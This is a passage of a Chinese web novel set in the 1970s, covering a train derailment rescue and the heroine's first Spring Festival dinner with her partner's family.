在她们的努力下,越来越多的乘客明白了当前的危险,开始互相帮助,有序地准备下车。 然而,总有一些人在这种时候无理取闹,他们大声抱怨,骂司机,骂乘务员,把所有的不满都发泄出来。 好在,大多数乘客都很理智,很快就制止了这些不和谐的声音。 当姜海棠终于回到自己所在的车厢时,这里的乘客也已经开始行动起来。 赵晓梅正焦急地张望着,看到她回来,连忙迎上去:“你也赶紧下车吧,别耽误了,你还带着孩子。” 姜海棠感激地看了她一眼,说:“谢谢你,晓梅姐,孩子给我,你赶紧拿上吃食带着陶大娘下车。” 她一手紧紧抱着小桃子,一手拎起装着食物的包。 在这荒郊野外,食物就是活下去的希望。 金又晴正好拿过自己的包,看到姜海棠又是孩子又是包裹,一把帮姜海棠拎起包说:“我帮你。” “其他知青呢?” “他们应该下去了。”金又晴回来就没看到他们,应该已经离开列车了。 有了金又晴帮忙拎着包,姜海棠想起寒冷的夜晚,顺手拽起两条被子抱在怀里。 小桃子似乎明白了妈妈的辛苦,懂事地伸出小手,帮忙拽着被子。 金又晴有学有样,立即也卷起他们几个人的被褥抱在怀里。 不得不说,金又晴的力气是真的不小,拿着这么多东西,脚步也很快。 姜海棠抱着小桃子,紧跟着金又晴的脚步,艰难地走下列车。 第145章 大家都在努力 列车之外,暮色像被打翻的墨水浸染着天际,黑透了。 黑漆漆的旷野里,127次列车歪斜在铁轨上,尖锐的金属扭曲声仿佛野兽垂死的哀嚎。 姜海棠扶着冰凉的车厢边缘,睫毛上很快结了层薄霜,她眯着眼在人群中搜寻,同铺的两个男知青却不见踪影。 倒是不远处,女知青蔡玲正挥舞着褪色的红围巾,大声呼喊着:“带孩子的往这边走!老人跟紧!” 她的声音被呼啸的北风撕成碎片,却依旧执着地重复着。 “蔡玲!”金又晴挤过人群,花棉袄肩头落满雪粒。 “金知青,前面什么情况?”蔡玲看到了金又晴回来,忙扯住她问。 “前面车头卡在弯道锁死,司机没反应……生死未知!”金又晴压低声音说。 蔡玲抹了把冻得通红的脸,睫毛上挂着细小的冰晶。 “江知青他们呢?”金又晴问。 “江知青他们带人去拦对面的车了。” 姜海棠一直没有说话,她看到铁轨上,几个老人互相搀扶着,颤巍巍的身影在暮色中摇晃,不由心头一紧。 她抱着小桃子快速立即朝着安全区域奔去,车轨之外,赵晓梅和陶玉和祖孙两个已经找了地方坐下来,赵晓梅正将自己和陶玉和两个人裹在一张棉被里。 小桃子依偎在姜海棠的怀里,小家伙又惊又吓又冷,直打哆嗦。 姜海棠将孩子轻轻放进赵晓梅怀中。 “晓梅姐,你帮忙照看下小桃子,我去看看其他人。” 赵晓梅将小桃子搂在自己怀里,就看到姜海棠已经快步离去。 从车上下来了许多人,正在寒风中瑟瑟发抖。 其中的一些人在车辆侧翻的时候已经受伤,正在发出痛苦的呻吟。 还有一些人陷入昏迷,是被同行的人背着下车的,正有人对受伤严重的人做急救。 姜海棠是不懂急救的,但她活了两辈子,见识多一些。 她看到一位受伤乘瞳孔开始涣散,忙蹲下来急切的呼唤:“同志,你坚持一下,救援马上就到。” 那人似乎因为姜海棠的话,恢复了一些精神,但人还是越来越虚弱。 “他失血过多,有没有大夫先给他包扎?”姜海棠高声呼唤着。 很快,有人过来帮忙包扎。 姜海棠强忍着酸涩,尽量安抚那些情绪濒临失控的人们。 四周此起彼伏的抱怨声中,夹杂着孩子的啼哭,在寒夜中显得格外刺耳。 耳旁呼啦啦的寒风吹过,姜海棠朝着火车前方看去。 在远处,有星星点点的灯光闪烁,那是第一批朝着前方跑去拦车的人正在拼命地奔跑。 夜里看不清楚路,有些人跌倒了爬起来接着跑,有些人跑了一段距离之后,已经精疲力竭,只能原地停下。 更多的人则是在争分夺秒,全力奔跑。 他们的身上系着许多人的生命,他们不敢停,不能停…… 车头,陆良辰举起从餐车拆下的长凳,与两名乘警同时发力。金属撞击声震得人耳膜生疼,终于,变形的车门轰然倒下。 驾驶室里刺鼻的煤烟瞬间涌出,仪表盘的玻璃碴在月光下泛着冷光。 两名司机歪在座椅上,一人手指深深嵌进操纵杆,指甲缝里渗出血;另一人还保持着拉制动闸的姿势。 “快!联系站台,汇报情况!”陆良辰扯下围巾捂住口鼻,声音闷在布料里,一把打开驾驶室的窗户。 乘警虽然不太熟悉火车上的仪器,但比起陆良辰这个外行的人要好上很多。 乘警用冻得发紫的手指,在电台旋钮上打滑。 反复试了三次才终于接通,对面传来信号。 “这里是127次列车!当前位置为……两名司机失去意识!预计前方将有列车通过,请求紧急支援!” 乘警嘶哑的声音被从窗户里灌入的呼啸的北风撕扯着,呼出的白气在电台上凝成霜花。 握着斑驳的车载电台,乘警喉结在冻僵的脖颈间上下滚动,眼里都是悲凉。 电流声撕拉撕拉地冲击他的耳膜,他不能确定对方是不是听到了自己的求援,只能一遍遍的呼叫。 “这里是127次列车!司机昏迷!重复,司机昏迷!我们的位置……“ “我们背着他们下车。”陆良辰没有理会正在与调度联系的乘警,对另外一名乘警说。 他率先背起一个人,朝着车外走去。 夜已冷,钢铁的台阶上结了一层冰,沉重的军靴重重踩在结冰的台阶上,发出“咯吱”的脆响。 冷风卷着雪粒子灌进领口,陆良辰冷的缩了一下脖子,但他还是坚持用高大的身躯保护受伤的人,一个不小心,腿重重磕在旁边的门框上。 陆良辰不声不响,步履越发坚定。 等到了车下,看着依然在呼叫调度的人,陆良辰大声喊道:“快下车!” 乘警已经彻底失去希望,他听不到对方的话,也不能确定,对方是不是听到了自己的话。 他的心里依旧沉甸甸的,似乎已经能感觉到远处传来蒸汽机车粗重的喘息声,距离两辆车的会车时间,不足十分钟。 本小章还未完,请点击下一页继续阅读后面精彩内容!情况如何,他们现在完全不知道。 只盼着那些已经下车拦车的人能及时拦住对面的车,避免造成更大的危险。 车轨之外,许多抱团取暖的人,那一双双眼睛在夜色下,已经失去了生气。 人在灾难面前,如此弱小,他们每个人都在等待未知命运的最后裁决。 “大家再后退一点,确保自身安全。”陆良辰冷静指挥。 如果对面的车没有办法拦下来,最少要确保这辆车上的人安全。 铁轨旁,第一批拦车的人已经跑了三里地。 有人的棉鞋陷进积雪里,拔出来继续奔跑; 有人已经跑不动了,还在坚持…… 戴知青的棉裤被铁丝划破,露出白生生的棉花,依旧挥舞着手电筒,在黑暗中划出明灭的光带。 与此同时,车站调度室内,红色警报灯疯狂闪烁,老调度员老周的额头沁出冷汗。 年轻的调度员连声音都慌乱了起来,他颤抖着声音一遍遍地呼叫:“这里是调度室,这里是调度室,127次列车,听到请回答,听到请回答。” 但显然,对方听不到他的声音。 “他们听不到我们的声音,小李,立即与417次列车通话,请他们紧急停车避险。”老周放弃与127次列车的沟通,发出下一条指令。 年轻的调度员果断切换信号,他的手指因为用力,显得发白。 “417次列车,127次列车在××××路段出现紧急情况,请你们迅速刹车避险,请你们速度刹车避险。” 年轻调度员声音带着哭腔,一遍遍地重复:“417次列车,127次列车在××××路段出现紧急情况,请你们迅速刹车避险!重复,迅速刹车避险!” 417次列车上,司机老孟听到调度室的通知之后,立即采取措施,一刻不敢耽误地拉下制动闸。 417次列车调度室内,将对讲机攥得几乎变形:“立即与417次列车通话!告诉他们必须在××弯道前停车!” 司机老孟听到调度室的通知后,立即采取措施,一刻不敢耽误地拉下制动闸。 这时候,又传来调度室的声音:“停车避险后,请想办法通知127次列车上的同志,立即组织乘客撤离,同时,向调度室汇报127次列车的情况。” 孟师傅声息一口气说:“收到,立即执行。417次列车已经制动,即将停车。” “请转告127次列车,我们将就近调度救援车辆。请他们坚持住!一定坚持!” “417次列车收到!” 紧急刹车后,喷着白蒙蒙的雾气的火车头上,煤烟混着冰碴子劈头盖脸砸在挡风玻璃上。 副驾驶的小王手忙脚乱抓起老式信号灯,打算发出信号,却看到远处传来的点点灯光。 “孟师傅,他们……”小王张口结舌。 火车在缓缓减速,孟师傅看看车窗外远处传过来的点点微弱灯光说道:“应该127次列车上的人给我们发出的信号。” 这里是荒野,周围几十里都没有人烟,不可能突兀的出现灯光,只能127次列车有关。 看到有人能给他们发出信号,老孟揪着的心稍微放松了一点。 老孟果断对小王说道:“距离事故列车应该还有一段距离,为了尽快赶到地方施以援手,我们必须滑行一段距离。” “收到,孟师傅,我全力配合。” “这里交给我,你让列车员通知乘客,并请车上的医护人员到餐车集合。他们在车辆失去联系的情况下,还在想办法救我们,我们应该好好感谢他们。” “我问问餐车的工作人员,多带些热水过去给他们,这么冷的天儿。” 两个人你一言我一语地将事情定下,小王快步走出驾驶室。 孟师傅则专心致志地操作火车,缓缓向前滑行…… 喜欢重生七零:前夫假死我改嫁,他急了请大家收藏:()重生七零:前夫假死我改嫁,他急了更新速度全网最快。 第146章 消息传开了 列车忽然在荒郊野外的地方急速刹车,车厢连接处的铁皮被吹得呜呜作响。 “哐当!“金属碰撞声撕裂寂静,车厢剧烈颠簸。 这样的反常惊动了准备睡觉的人们。 老张正倚着行李架打盹的,剧烈的晃动让他下意识裹紧蓝布棉袄,用力抓住了旁边的把手。 抱着搪瓷缸的大娘手一抖,滚烫的茶水泼在粗布棉裤上。 “地震啦!” 不知道谁喊了一嗓子,整个硬座车厢瞬间炸开锅。 “肯定不是地震,我们在火车上,会不会……” 戴着雷锋帽的年轻人死死地拽着行李架,还不忘分析情况。 就在众人惊慌失措的时候,列车广播突然刺啦作响,带着电流声的女声传来:“各位乘客请注意,前方127次列车脱轨,本次列车紧急制动!请无产阶级革命医务工作者速到餐车集合,协助开展救援工作。” 相似的内容,列车员念了整整三遍。 一个年轻的女大夫站了起来…… 戴着红袖章的退伍军人站了起来…… 穿着旧棉袄的赤脚大夫站了起来…… 年过花甲的老大夫站了起来…… “同志们,党考验我们的时候到了,127次列车上的同志们冒着危险给我们送信,我们不能看着他们有难不管,你们说是不是?” 有人振臂高呼,得到了许多人的呼应。 卧铺车厢里,一个中年军官站了起来,果断地朝着餐车方向走去。 他不是医护人员,但他觉得,这般时候,不光医护人员才能帮忙。 很快更多的人朝着餐车的方向涌过去。 铁轨旁,戴知青等人眼睁睁地看着417次列车的车头灯刺破夜幕,从他们眼前过去。 江知青手里的手电筒旗无力地垂落。 “完了……咱们没拦住……” 不知道谁说了这么一句,大家只觉得整个人都软了,瘫在地上。 有几个甚至当场开始哭起来。 “我们终究还是迟了一步吗?” 这趟列车上不知道多少人呢,要是撞上了…… “不,不是这样的,火车要停下来了,他们看到了!”忽然又有人欢呼。 “快看!蒸汽小了!”有人扯着嗓子大喊。 果然,只见车头喷出的白雾渐渐稀薄,车轮与铁轨摩擦出的火星在夜里上溅起金色碎屑。 只一瞬间,人群中爆发出震天的欢呼。 大家看着那正在滑行的火车,消失的力气似乎在这一瞬间恢复。 江知青一把抹掉脸上的汗水:“别愣着!后面还有车!我们得抓紧时间。” 人们这才想起,不光前面有车,后面也有,他们的任务没有完成! 这些已经跑了一路气喘吁吁的人们顾不得休息,扭头就往回跑,手电筒的光在雪地上拉出长长的影子。 火车上的人们也看到了车轨不远处奔跑的人, 还是先前那个中年军人,他叹一声:“这些娃娃在抢我们的命!” 之前还没有反应过来的人们瞬间懂了,127次列车上的乘客已经下车,就算两车相撞,受伤害的也只能是417次车上的人。 而他们在凌冽寒风中奔跑,为的是他们这些人。 不知道谁打开了车窗朝着他们喊话。 “同志,谢谢你们!” 接着,此起彼伏谢谢的声音传入车轨旁正在深一脚浅一脚奔跑的人们的耳朵里。 不知谁带头唱起了《团结就是力量》,沙哑的歌声从车厢里传到车厢外,在旷野里回荡着。 当列车最终在距离脱轨车厢五十米处停下时,老孟扯着大喇叭喊,声音哽咽:“通知餐车,带上热水,下车救人!” 小王望着窗外奔跑的身影,眼眶发热,重重地点了点头。 也不知道是不是受到那些奔跑的身影的鞭策,417次车上有更多的人下了火车,他们有的人拿了干粮,有的人带了水,有些人拿着自己的保暖装备…… 总之,在这个寒夜里,两列火车上的人在旷野里相遇,开展了一场轰轰烈烈的救援活动。 姜海棠和赵晓梅等人挤在一起抱团取暖,他们几个人共同用一张被子,其他的被子,给了更需要救助的人,就连小桃子的小花被,也给了别人。 听到火车停下来的声音,她悬着的心总算放下了,抱着小桃子的手臂更加用力。 “停下来了,陶奶奶,停下来了。”姜海棠激动地喊着。 “我们是不是有救了?”赵晓梅喃喃地说。 姜海棠一直盯着前方,很快,她看到了夜色里走来许多人。 很快,那些人到了他们跟前,一个中年男人正在和陆良辰沟通着什么。 时间一分一秒过去,每一秒都伴随着深入骨髓的寒冷,但因为有救援的人到来,众人心中没有了之前的恐惧。 停下来的417列车,给了他们希望。 陆良辰高声地呼喊“救援的人已经来了,老人、孩子和伤员可以优先去417次列车的餐车,其他人再坚持一下。 “还能动的男同志跟我准备接应救援!” 他的声音,在呼啸的寒风中,竟然清晰地传入了每一个人的耳朵里。 人们在这种危难时刻,表现出了空前的团结。 很快,127次列车上的人们自发地帮着老人小孩和伤员们上了417次列车。 而剩下的人,也分到了一点点热水,可以短暂驱寒。 一个多小时之后,一辆火车缓缓从旁边的轨道行驶过来,这是接替127次送乘客们回家的列车。 车上受伤严重的伤员没有办法原地转移,只能等到下一个站点下车去医院。 列车员说,车站已经有救护车做好了接应准备。 至于没有受伤的人,可以乘坐这趟列车继续前进。 半夜,所有人全部上了列车。 虚惊一场的人们上车之后,依然心有余悸。 列车缓缓向前,那侧翻的列车还躺在原地,距离他们越来越远。 车上有很多人开始哭起来,哭这一场劫后余生。 姜海棠很清楚,今天晚上,注定了,有许许多多的人因为处理这起事故夜不能寐。 而他们,列车上这些精疲力尽的人们,在哭过之后,沉沉睡去。 他们并不知道,这时候,一则快讯通过广播发出。 “127次列车脱轨事故救援圆满结束,除一名重伤员抢救无效外,其余乘客已安全转移,并得到妥善安置……据悉,此次事故发生后,列车长以及两名司机身受重伤,一名叫做陆良辰的乘客带领乘客展开救援,参与救援的乘客还有姜海棠、金又晴……以及其他没有留下姓名的英雄!” 因为这则消息,127次列车侧翻的事故得到了广泛的关注,除了车上这些心有余悸的人们之外,许许多多的人们关注着这一次事故的救援以及调查工作。 火车继续前进,很多乘客在中途下车了,也有很多人一直到了终点站。 沿途各个站点都有记者蹲守等待着采访,只为了能让更多的人了解到当时列车上的真实情况。 这起列车侧翻事故的消息通过广播报纸在各处流传开。 许多接受过记者采访过的乘客都不约而同地提到了陆良辰一家人。 更有记者将这些消息梳理汇总,在电台上征集陆良辰和其他救援人员的线索。 陆家。 一家子人是通过电台得知知道陆良辰乘坐的火车出现事故的消息的。 陆母攥着半导体收音机的手不住颤抖。 “老陆,我记得良辰这孩子......” 剩下的话,她不敢说出来。 “没事的,没事的,你没听,咱儿子是救人的英雄,他好好地活着呢。” “对对对,你说得对,老陆,我要去车站等着他们。我要亲眼看着他好好的。”陆母很着急。 但却被陆父制止了:“我们去了车站,也未必能找到他们,不如安心在家里等着。” 家里其他人也忙劝着陆母。 陆良谨也从单位急匆匆地赶回家,陪着父亲和母亲一起等弟弟的消息。 陆家姑姑和陆家小叔两家人也急急忙忙到了陆家老宅里,一起等候消息。 就连一贯以来泰山崩于前都能面不改色的陆家老爷子,也在书房里焦急地踱步。 与此同时,列车正缓缓驶入某个小站。 姜海棠透过车窗看到了站台上举着“向英雄学习“横幅的人群。 只等车上的人下车到了站台,记者立即举着采访本蜂拥而上。 “同志,请问您是127次列车上转过来的乘客吗?” “同志,请问您参与了127次列车侧翻的救援工作吗?” “同志,您能说说当时的具体情况吗?” …… 列车缓缓前进,姜海棠说:“有点吓人。” “等下车之后,我们从侧面直接离开,不会遇到记者。” 姜海棠点头,她相信陆良辰有能力将她和小桃子躲开记者带出去。 列车很快在京城站停靠,这是本次列车的终点站,下车的人格外多。 陆良辰和姜海棠混在人群里,陆良辰拎着行李,姜海棠抱着小桃子,三口人悄无声息地躲开记者离开了车站。 记者没有找到陆良辰,但找到了金又晴等几个知青,也见到了赵晓梅和陶玉和祖孙。 金又晴是个喜欢说话的姑娘,难得遇到采访,当然是知无不言言无不尽。 不过她并不知道姜海棠和陆良辰的工作岗位。 这个漏掉的信息,被随后接受采访的陶玉和老人补充全面了。 至此,陆良辰以及姜海棠的信息被记者全面掌握,并且通过报道广而告之。 第147章 回家了 而这时候,陆良辰已经带着姜海棠到了家了。 陆家住在大院里,大院的青砖围墙上“欢度春节”的红色标语在夕阳下格外醒目,几个孩子正踮着脚往路灯上挂红灯笼,说不出的岁月静好。 陆家有一栋单独的小楼,从外表看,是三层小楼,红砖青瓦,很是漂亮,门楣上新贴的春联墨迹未干,“东风浩荡革命形势无限好,红旗招展生产战线气象新”的对联在冬日的余晖中泛着光。 门前,两株老槐树枝桠上积着未化的雪,已经挂上了红灯笼,十分喜庆。 但姜海棠知道,能住在这个大院里的,没有一般人,能在大院里住上一栋三层小楼,更不可能是一般人。 姜海棠两辈子也没有进去过这样的地方,一时之间有些胆怯。 原本活泼淘气的小桃子这时候也安静暗下来了,紧抿小嘴,一言不发。 陆良辰握住姜海棠的手:“不用担心,我家里人都是极好相处的。” 姜海棠点点头,跟着陆良辰进门。 铸铁暖气片散发着融融暖意,将严寒隔绝在大门之外。 门内的五斗柜上摆着一个用炮弹壳改造的花瓶,里面插着几枝腊梅,旁边摆着几张照片,照片里有一张是陆良辰穿着军装的照片,剩下的,姜海棠不认识。 “可算到了!”率先开口的是一个中年女子,看着也就四十岁不到的样子,穿着藏蓝涤卡列宁装。 接着又是一个女人,看着比方才开口的年龄大一点:“良辰啊,知道火车出事的消息,我们是真被吓到了,好在你们都好好的。” “小姑,二婶,劳你们操心了,我没事,好好的。”陆良辰笑着,显然和家里人的关系不错。 “爷爷、爸、妈、姑父、我回来了。” 陆良辰依次向长辈们打招呼,然后又给姜海棠介绍了一遍,最后才介绍自己身边的人。 “这是姜海棠,我对象。这是小桃子,我女儿!” 陆良辰介绍这两人的时候,胸膛挺起,十分骄傲。 众人看着他如此,颇有些一言难尽的味道。 “快进来,这一路上辛苦了,我们坐下说话。”陆母忙招呼他们到屋里。 屋子里有暖气,走进大厅,一路上的寒气都散了开去。 陆良辰脱了大衣,又接过姜海棠的大衣一起拿过去挂起来。 姜海棠将小桃子的帽子、围巾和大衣一件件脱下来,交给陆良辰。 陆家人看着三个人自然的动作,很清楚,平日里怕就是如此相处的。 陆爷爷微不可见地点点头,显然满意。 这位老军人中山装的风纪扣系的一丝不苟,看得出来,是一位非常严肃的老人。 小桃子穿着姜海棠给她织的大红色上面绣了白色小猫咪的小毛衣,局促的站在大厅里, 她的小手紧紧地攥着姜海棠的手,表情多了几分严肃。 “小桃子,过来让奶奶看看。” 陆母何婉仪知道儿子收养战友的女儿,她是反对的。 儿子都没结婚,身边就有了孩子,会影响婚姻大事。 但她拗不过儿子,加上老爷子和丈夫都赞成,最终也只能顺着。 在见到小桃子之前,她其实也在担心,自己会不会不喜欢这个莫名其妙成为自己孙女的小姑娘。 也担心,要是自己不喜欢小孙女,儿子会不会有意见。 但是,当她看到小桃子的时候,心里忽然就柔软了,尤其是看到乖乖巧巧粉粉嫩嫩的小桃子,她脸上的笑容瞬间就堆起来了。 她有两个儿子,老大已经结婚,生了两个儿子,两个臭小子一个比一个顽皮。 可不像小姑娘一样乖巧可爱。 小桃子抬头看看陆良辰。 陆良辰微微点头,小桃子这才慢慢松开姜海棠的手,一小步一小步地朝着何婉仪挪过去。 “哎呦,看看这乖巧的,让人心疼。”何婉仪笑着对陆家小姑陆思敏说道。 “可不是。”陆思敏也在盯着小桃子看。 “咱们陆家可算有个女娃了。”陆家小婶袁一楠对小桃子也很有兴趣。 她生了三个儿子,老大老二结婚了,她现在有三个孙子,也稀罕女娃娃呢。 走到何婉仪面前,小桃子乖乖站定。 “来,奶奶抱抱。” 何婉仪伸手将小桃子抱起来,放在自己怀里,顺手从旁边的果盘里拿过一个橘子,给小家伙剥开。 小桃子软糯糯的向何婉仪道谢。 “小姑娘就是不一样,可不咱们家这几个皮猴子招人稀罕多了。”袁一楠伸手拉住小桃子的小手,凑近了说。 而另一边,陆父陆开敏一脸笑容地看着姜海棠。 “你就是小姜同志吧?” 陆开敏开口,在场的人几乎都将目光看向姜海棠。 虽然听说这个姑娘很优秀,但对于他们陆家的人来说,再怎么优秀的人没见过? 听说,这姑娘是个乡下人呢,估计读书不多,也不知道品性如何。 面对十来口人的打量,姜海棠落落大方,脸上是得体的微笑。 她轻声开口:“是,陆总工您好,我是姜海棠。” 陆父是一位军工专家,是从事研究工作的人,对搞科研的人,天生带着三分滤镜。 知道姜海棠在机械和纺织方面都有独到见解之后,他从心里已经认可了姜海棠这个儿媳妇。 对姜海棠已经带了三分滤镜。 “你叫我陆叔叔吧。”陆开敏态度依旧和蔼。 “我听老胡说,你是个十分优秀出色的姑娘,给纺织厂解决了不少困难,好啊,好啊,年轻有为。” 陆开敏一点都不怀疑胡厂长夸大其词,毕竟,老胡那个人,最是一板一眼,不可能昧着良心说话。 何况,老胡还拿着姜海棠的图纸来给他看了,确实非常好。 “是胡厂长谬赞了,我只是做了应该做的。” “谦虚谨慎,性子不错。”陆老爷子点头说。 陆老爷子身居高位多年,说话做事不苟言笑,就算在夸奖姜海棠,但面上依然是一脸严肃。 姜海棠暗忖,陆良辰面对别人不苟言笑时候的表情,和陆老爷子还真是一模一样。 “爸,您这么板着脸,小心把未来的孙媳妇给吓跑了,要是良辰娶不到媳妇,可不好哄。”陆思敏笑着对陆老爷子说。 陆老爷子瞪了她一眼,对姜海棠说:“我大半辈子,习惯了,改不过来,没有不喜欢你的意思。” 这是在解释? 姜海棠有一瞬间的错愕。 陆老爷子可是开国功臣,现在也身居高位,就算是这些年动荡不安,也依然能屹立不倒,是响当当的人物。 现在,却向她这么一个名不见经传的小姑娘解释。 “陆爷爷,我没有误会,良辰平时也这样。” 谁知道,这句话不说的时候还好,话才说出来,陆良辰就挨骂了、 陆爷爷板着脸教训陆良辰:“你这个臭小子,对自己媳妇怎么可以板着脸?” 陆良辰一时没想明白,怎么就挨骂了? 他哀怨地看了一眼姜海棠,姜海棠也不好意思了,这下连解释的话都不敢说了。 “哎呀,爸,您这脾气要改改,小姜第一次到咱们家,您生气也不怕吓着她。”陆思敏忙又开口。 “我是小姑,以后就叫你海棠行吧?”陆思敏客客气气地说:“海棠,你爷爷就这么个性格,习惯就好了。” “这次是良辰这小子该挨骂,对外人板着脸就算了,对自己家里人,可不能这样。”陆开敏笑呵呵地说。 “海棠啊,要是良辰对你态度不好,你给阿姨说,阿姨帮你收拾她。”何婉仪也笑着开口。 姜海棠还从来没有被人这样珍而重之过,一时之间,受宠若惊,都不知道该怎么说话了。 “我……” “我听老胡说了,你是个苦命的娃,你放心,以后到了我们陆家,就是我们家的孩子。”何婉仪脸上都是慈爱,能看出来,这番话都是真心的。 “你二叔今年过年回不来,几个孩子在外面野去了,等下我让小张喊他们回来吃饭。”陆开敏又解释了一句:“你大哥和你大嫂要到晚上才能回来。” “开饭了。”系着围裙的保姆王婶探出头:“肉馅饺子下锅喽!今早我排了俩钟头队才割着的前腿肉……” “都上桌吧,孩子们得单独留出来,等他们回来了再吃。”陆老爷子率先起身。 陆良辰正想过去抱小桃子,但何婉仪已经先一步抱起了小孙女。 圆桌上的饭菜很丰盛,中间摆着一大盆清炖鸡,旁边摆着酸菜粉条、炸藕盒、蒜苗炒鸡蛋、红烧肉,还有一条鱼。 主食是大白馒头和米面贴饼子。 陆老爷子坐在主位,其他人依次在两边分别坐下。 何婉仪拉着姜海棠坐在自己身边。 “你在我旁边坐。”说完,何婉仪又问小桃子:“小桃子,你自己吃饭还是奶奶喂你?” 小桃子忙点头:“自己吃!” “小桃子真厉害,这么小就会自己吃饭了。” 被夸奖的小姑娘面上露出羞涩的笑。 第148章 我妹妹最漂亮 小桃子攥着木勺,忙不迭点头:“自己吃!我会吃饭!” “小桃子真厉害,这么小就会自己吃饭了。” 被夸奖的小姑娘面上露出羞涩的笑。 陆思敏夹了一筷子红烧肉放进姜海棠碗里,脸上都是笑容。 “海棠啊,多吃点,厂里最近忙坏了吧?听说你们车间在赶一批出口的货?” 姜海棠连忙双手捧碗接过,脸颊微红:“谢谢姑姑。广交会上,有一位香江客商定了货,要求比较高。” “年轻人拼事业是好事,但也得注意身体。”何婉仪盛了碗鸡汤推过去,“良辰,你这个当厂长的,可别光顾着抓生产,把人都累垮了。” 陆良辰正掰着贴饼子往酸菜粉条里蘸,闻言笑道:“妈,您这可冤枉我了。我上周我还让食堂加了夜班餐,特意批了半斤红糖给女工冲水喝。” 何婉仪瞪了儿子一眼,她说的是这个吗? 陆良辰瞥了眼姜海棠,慢悠悠的说:“就是某些技术骨干,图纸不画完死活不肯下班,实验做不完不肯下班。” 姜海棠耳根一热,低头扒拉饭。 陆老爷子冷哼一声:“国家就需要小姜这样的人,尤其是你们纺织行业,不发展,就要被国外超越。” 陆良辰连忙笑着说:“是是是,爷爷您说的对,我以后一定向姜海棠同志学习。” 何婉仪又问:“你们都去上班的时候,小桃子怎么办?” 小桃子立即举起油汪汪的小木勺说:“小桃子在隔壁和哥哥姐姐玩。” 何婉仪疑惑的看向姜海棠。 姜海棠笑道:“隔壁是厂里的妇女主任家,她家里有四个孩子,也有老人照顾,我们太忙的时候,就把孩子送过去。” “该给的补贴要给人家,咱不能占人便宜,大家都不容易。”何婉仪点头说:“要是工资不够,我和你妈可以给你们补贴一些。” 陆良辰说:“爸,够了的。我转业后工资高,海棠是特殊人才,享受十八级工资,等过完年就是十七级工资,小桃子也有烈士家属补贴,够用了。” 陆开敏严肃说道:“你们还没结婚,你就用未来媳妇的钱,也不怕人笑话,还有小桃子的钱,给她存着。” “是,爸。”陆良辰立即应下。 “陆叔叔,没关系的,我的工资……” 何婉仪摆摆手:“你是女同志,手里要存点私房钱,以后,开支让良辰承担,你的钱自己存着。” 陆良辰皱皱鼻子说:“您可真是我亲妈,不知道的,还以为我是上门女婿。” 一桌子人哈哈大笑起来。 “我看呀,有了海棠,你这地位也就是上门女婿的地位了。”袁一楠促狭说道。 笑过之后,陆老爷子问:“良辰,今年厂里超额完成任务,轻工局那边什么态度?” “多亏海棠改进了纺机,又改良了缩呢技术,还研究出了羊毛衫的纺织技术,我们现在发展很快,轻工局那边,快拿我们当宝贝了。”陆良辰语气不自觉带了骄傲。 “可不能骄傲,你才当上领导,万事都要小心,不要被人抓了把柄。”陆老爷子苦口婆心的说。 只是,说完这话,陆老爷子忽然压低声音说:“不过最近风声紧,你们搞技术革新,可别让人扣上‘唯生产力论’的帽子……” “爷爷,我知道了。”陆良辰谨慎的回答。 门外传来一阵喧闹,几个半大孩子裹着寒风冲进来,棉鞋上还沾着雪渣子。 “太爷爷!我们捡着哑炮了!”为首的半大小子举起纸卷,被陆开敏一把按住:“陆卫国!说了多少回不许玩这个!” 王婶赶紧端出温在锅里的饺子:“快洗手吃饭!哟,这藕盒谁偷吃了一个?” 旁边手脏兮兮的男娃立即将手中的藕合藏在身后。 王婶看到了,笑道:“就知道是你这调皮鬼,赶紧洗手吃饭。” “陆兴国,以后不洗手不许吃饭。”被何婉仪板着脸呵斥小孙子。 陆卫国立即带着几个弟弟去洗手,一会儿后,几个半大小子洗了手,也没擦,湿哒哒的就朝着桌子跑过来,迫不及待地往饭桌边挤。 小桃子坐在何婉仪身边,手里攥着木勺,好奇地打量着这几个“从天而降”的哥哥们。 几个皮小子也发现,家里多了一个小姑娘,他们也好奇的打量着这个和他们不一样的小娃娃。 “这是小桃子,你们的小妹妹。”何婉仪笑着介绍,“小桃子,这是卫国哥哥、保国哥哥、爱国哥哥、忠国哥哥和兴国哥哥。” 小桃子眨了眨大大的眼睛,怯生生地喊:“哥哥好……” 陆卫国,家里最大的小子,今年已经九岁了,虎头虎脑的,凑近瞅了瞅她,忽然咧嘴一笑。 “嘿,这小丫头片子,脸圆得跟年画上的胖娃娃似的!” 说着伸手就要捏她的脸蛋。 八岁的陆保国,比卫国瘦些,但眼睛滴溜溜转得飞快,他一把拍开陆卫国的手。 “别动手动脚的!待会儿又给惹哭了,你哄啊。” 陆卫国缩回手说:“不会吧?” “怎么不会,你忘了建设家的小妹妹了,总是哭哭啼啼的。”陆保国说着,还嫌弃的咧嘴。 今年七岁的陆爱国,他抓了一个饺子放在嘴里还没吃完,含含糊糊地说:“我家的妹妹才不像建设哥哥家里的妹妹。” “你这样手抓东西吃,妹妹可不喜欢你。”陆爱国的奶奶袁一楠拿出手绢擦了擦孙子的手。 陆爱国因为这句话,差点儿哭了。 何婉仪忙说:“你奶奶逗你玩呢,妹妹怎么会不喜欢你?只要不欺负妹妹,妹妹肯定喜欢你。” 陆爱国立即点头如捣蒜的说:“我喜欢这个妹妹。” 最小的陆兴国说:“妹妹漂亮!” 陆忠国好奇的看着小桃子,问:“小桃子,你吃藕盒不?我给你偷……唔!” 话没说完,就被陆卫国捂住嘴。 小桃子看着他们,忽然咯咯笑起来,胆子也大了。 “我要吃藕盒!” 软软糯糯的一句话说出来,几个哥哥立即争先恐后的给小姑娘夹藕合。 “行!哥给你拿!” 陆卫国立刻挺起胸膛,一副“大哥罩你”的架势,伸手就去盘子里捞。结果手刚伸过去,就被袁一楠一筷子敲在手背上。 “这么大的人了,还抓菜!” 陆卫国“哎哟”一声缩回手,小桃子没忍住发出咯咯咯的笑声。 许是觉得她笑了不好,小桃子很快停止了笑,小心翼翼的看着桌上其他人。 陆卫国挨打了,陆保国眼疾手快的夹了一个藕夹给小桃子。 “妹妹快吃!” 得手的陆保国才不管其他兄弟几个对他怒目而视。 小桃子抱着小碗,凑近碗边的位置,咬了一口,结果咬的太用力,藕夹从碗里带了出来,酥脆的外皮掉了渣。 她赶紧用小手去接,结果越弄越乱,蹭得满脸都是。 几个哥哥见状,全都哈哈大笑。 “小桃子,你怎么吃得跟小花猫似的!”陆卫国指着她的脸,笑得直拍大腿。 “才不是!”小桃子不服气,小嘴巴撅着,十分委屈的看着陆卫国。 